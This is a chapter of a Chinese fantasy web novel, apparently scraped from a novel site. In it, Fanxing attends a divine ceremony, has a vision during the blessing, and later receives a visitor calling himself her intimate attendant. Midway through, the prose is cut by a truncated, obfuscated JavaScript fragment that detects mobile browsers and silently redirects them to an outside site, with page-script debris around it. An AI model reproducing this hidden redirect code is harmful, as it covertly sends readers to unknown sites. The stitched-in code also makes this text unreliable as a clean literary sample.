她没有说好看,而是用了合适。 说完扭过头,仰脸看繁星,认真道:“繁星,你教我这个,以后,我就梳这个发型了!” 繁星的目光扫过那只凤钗昂扬的凤首与振开的双翅,微微一笑,说好。 其后不久,便和宁家队伍一起去参加圣院主持的神祭正典。远芳族长看见宁凤游与平时尤为不同的发型,还有那根翅膀微微震颤的凤钗,先是一讶,跟着就笑了。 “凤游今日,头梳得甚好。”意味深长。 宁凤游早在宁远芳跟前明里暗里转几回了,见可算有人注意到她的发型,赶紧显摆:“是繁星给我梳的,用了娘亲上次送我的凤钗。可好看了!” 宁远芳看了一眼繁星,笑说:“果然我说你个笨丫头也没这手艺。” 宁雪夜在旁边,也点评说:“今日的装扮看着好像确实更适合小妹。” 至于适合在哪里,说不上来。其实认真说起来也跟平时差别不大,衣裙都是一样的,左不过是换了发式,还有那根凤钗。 宁雪夜想来想去,将这微妙的区别归结为,凤钗合了小妹的“凤”字。 金灿灿的,大约与她的明眸相衬吧。 繁星纵观一切,只笑,并不多言。 而宁家另一位大家长,宁凤游的亲爹何宸,看着宁凤游挽着繁星蹦蹦跳跳,有些欲言又止。收到宁远芳隐晦的目光,克制咽下所有话。 神祭正典自然人山人海,白玉广场上的人,不比繁星报名那天的少,甚至因为规整有序,乌泱泱的人头一气排开,看着要更震撼些。 祭坛上拉上了红色的经幡,顺着经幡朝上看的时候,有高阔的天,有曳曳的响声,有顺着日光洒下的金线,在眼帘、在经幡的每一次翻滚中跃动。 雪后的天气是干冷纯粹的,白玉阶梯上留着残雪,日光下,闪着耀白的光。未闪光的部分,摆着用玉碟装盛的祭品。三牲五谷,馒首干果,一路顺着阶梯摆下去。越靠下,装着祭品的祭器就越普通,祭品也越常见。 然而奉上这些普通祭品的百姓,脸上却是带笑的。他们行着并不标准的尊神礼,胡乱地合十拜了拜,一切都是简陋的,祈愿的心意却如真金。 繁星驻足,这场景带给她莫名的熟悉感,她想细看,宁凤游却拉着她继续向前。宁家队伍的位置更靠近祭坛中心,这样的外围显然不是停留之所。 站定后,宁凤游跟繁星嘀咕:“我们这世家名头也就这时候顶点用了,在院长宣读祭文时,各世家队伍以及乡长乡老,能站得靠前点,那赐福灵光,理论上也能多沾点。” 繁星收回思绪,目光扫过祭坛上伫立的,格外高大晶莹的太虚圣像,嗯了一声。 她敏锐感知到这次太虚像与之前的不同,如果上一次考核的拟像灵威是一池水,那这次,就是汪洋大海。 正典开始,圣院弟子穿着蓝白的统一服饰列阵而出,分成两队,队伍连接祭坛。 跟着出来的是各宫掌师,共十六,随后是四宫宫主,最后才是大名鼎鼎的圣院院长。 在宁凤游激动地揪着繁星的袖子喊“院长来了,院长来了”的时候,繁星也顺着列队看过去。 于是她领教了圣院春华风姿之绝世的字面意思。 春华院长着彩色法衣,束了高耸的礼冠,神情并不一味威严,以彰显身份位格,相反嘴角噙着清线的笑,时不时向周围的百姓点头致意,行走之处,像天然晕了一层光华,那一瞬,给人冰雪尽消,春回大地的惊艳之感。 如果说,霖国有容圣子之美在于纯粹的五官给人的冲击,那春华院长,便是甫一照面的周身气度叫人折服。 宁凤游也是头回见到院长,果然激动了,“天啦,咱们院长,竟然如此、如此……”她感到语言匮乏,找不出词来形容。 “怎么,你又移情别恋了?”繁星平淡接口。 “看见有容圣子那一身的虫子后我就已经移情了好吧!”宁凤游为自己正名,跟着又认真思索了一下自己“移情”院长的可行性,最终为难摇头,“这不行,对院长……差辈了呀。” 宁凤游对美男子们皆是很有兴致欣赏的,她见繁星反应不大,眼珠一转,问:“繁星,你觉得院长如何?” “甚美。”繁星回。 “跟你上次说好看的姜家半圣子比呢?” 旁边的宁雪夜耳朵动了动,呼吸不自觉轻了。 看着院长已经在队伍的簇拥下走上祭坛,繁星收回目光,一笑,简平地说:“各有春秋。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15038043|161402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 各有春秋? 院长如此风华人物,和那个毛头小子比,竟也只落得各有千秋的评价? 宁凤游顿时为院长感到不平起来。 而宁雪夜则认真地记住了姜家半圣子这个名号。心说,半圣子之名,他倒是早有耳闻,只是不知,他连相貌,也到了可以和院长相提并论的程度吗? 各自心思下,只听钟鸣九响,鼓声二十八,祭典正式开始了。 有急促的乐声响起,伴舞鱼群一样涌出,着彩衣的春华院长站到了领祝的位置,开始吟诵祭词。 颂毕,太虚圣像莹莹亮起。 这一次,四宫宫主上前,与圣院的其他祭祝一起,再次吟诵。此为第二祭。 第三祭,中州各氏族族长以及各乡乡长领头颂词。 最后是百姓齐声祝。 统一庄重的氛围下,典仪上前献礼、唱报,春华执爵,于太虚圣像前,洒下一杯祭酒。 奏乐停,鼓声重新响起,最后一声鼓息时,广场有种空旷的静。 繁星的目光穿过摇动的经幡,看向天空。她觉得天变高了,云层一下子变得透明,似有浅灰的影子在云中穿梭游动。 耳畔响起古老的鸣叫,有兽啼奔跑的声音,带起尘沙纷扬。荧点一样的光尘洒下,百姓虔诚地吟唱祝词。 赐福开始了。 繁星的目光落在那一张张虔诚祈愿的脸上,熟悉的感觉再次涌现。 仿佛在某一天、某个场合、某个向下的视角,她也曾见过这些熟悉的面孔,她也曾身处在这样巨大而狂热的集体信愿里。 他们在祈求着什么?又在信仰着谁? 有光点漂浮到繁星眼前,静默的注视中,周围虚幻起来。 她看到了一座长长的灯桥,蜿蜒成游龙的形状,在黑夜里穿梭。两岸像是天河,漂浮着无数星灯。 她看到有人在灯桥上跑,深红的衣,像要跑到漫天星河的终点去。 她依稀记得这也是一次盛大的祭典。 祭典的百姓虔诚下叩,星灯太多了,繁星只能见到他们的狂热,却听不清声音,仔细辨认,依稀听出几个字。 “圣女!” “……圣女啊!” - 那日祭典结束,欲回程时,宁凤游跟繁星说,她悟了。 繁星平静地眨眼,“你悟哪儿了?” 宁凤游仔细一想,说不上来,却坚声,“我就是悟了。” 繁星点头:“南柯一梦,梦醒,未必不能成真。想必这就是太虚赐福的作用。” “殿下如何觉得方才是梦?”宁雪夜小心地与繁星并肩走在一起,刚刚祭典赐福时,他确实有种似梦非梦的虚幻感,醒后像是有所得,又像是什么都没有。 繁星说:“猜的。” 她猜测赐福的实质是一场梦境,也肯定自己并未遭遇幻梦。 她知道刚才目之所见,皆为真实。 “繁星说得不错,却是太虚梦境。”走在旁边的宁远芳肯定了繁星的猜测。 她并不喊繁星殿下,只跟着宁凤游叫繁星,在其他人看过来时笑说:“这是我们中州供奉神兽,太虚大人的神通。梦境连接虚幻与现实,可以一梦千年,醒来不过一瞬。有机缘者可在梦中悟道……或者,其实已经悟了,但因梦醒,遗忘了。” 这情况与宁凤游的感受何其相似,她立马激动了,拽住宁远芳的袖子,说:“娘亲,我是不是就是这种情况,我真的是悟了,就是梦醒忘了?那我如何能想起来!” “怎么想起?你真悟了的话——”宁远芳故作沉吟,吊足了宁凤游胃口,才笑着说,“同样的梦境,保持清醒的情况下,再做一次!” - 正典过后,是中州的民祭,会有灯会,以及世家组织的庙祭。 在繁星看来,生活在宁家,庙祭显然比正祭更热闹,往来宾客者众,络绎不绝。 那日是正祭过后第一天,宁氏门房上来了一位特殊的客人。 来人并不找宁族任何人。他道,他是来找繁星的。 宁凤游听见风声,稀奇地跟着繁星去门口接客,竟然见到一名十分高大挺拔的年轻男子。 他穿着中州成衣铺子里随处可见的鸦青短袍,胸前撑得鼓挺挺的,腰精瘦,背却宽,行走间带着一股危险的爆发力,像只潜伏的猎豹。 看见这样的男子,宁凤游停住呼吸,下意识退了一步。 可年轻男子看见繁星,却瞬间软了眼神,甚至软了身体——有大半个门框那么高的个子,直接要往繁星怀里歪。 繁星抬脚轻轻一旋,躲过了男子的投怀送抱,手却撑在男子的腰上扶住了他。 高大俊秀的男子软软站直,眼神狂热地看着繁星,开口第一句是:“殿下,小夏好想你。” 清朗又干净的声音,似乎才叫人惊觉,这年轻人有副英挺爽利的好样貌。 繁星冲这名叫“小夏”的男子笑了笑,扶在他腰上的手自然收回。 宁凤游惊异又迷惑地看着这场景,总觉得有哪里不对劲。她问:“繁星,这是谁?” 繁星说:“这是我表哥。” 周夏说:“我是殿下的房里人。” 什么! 宁凤游呆滞地张大嘴,听到自己发出不连贯的气音。 “啊……啊?”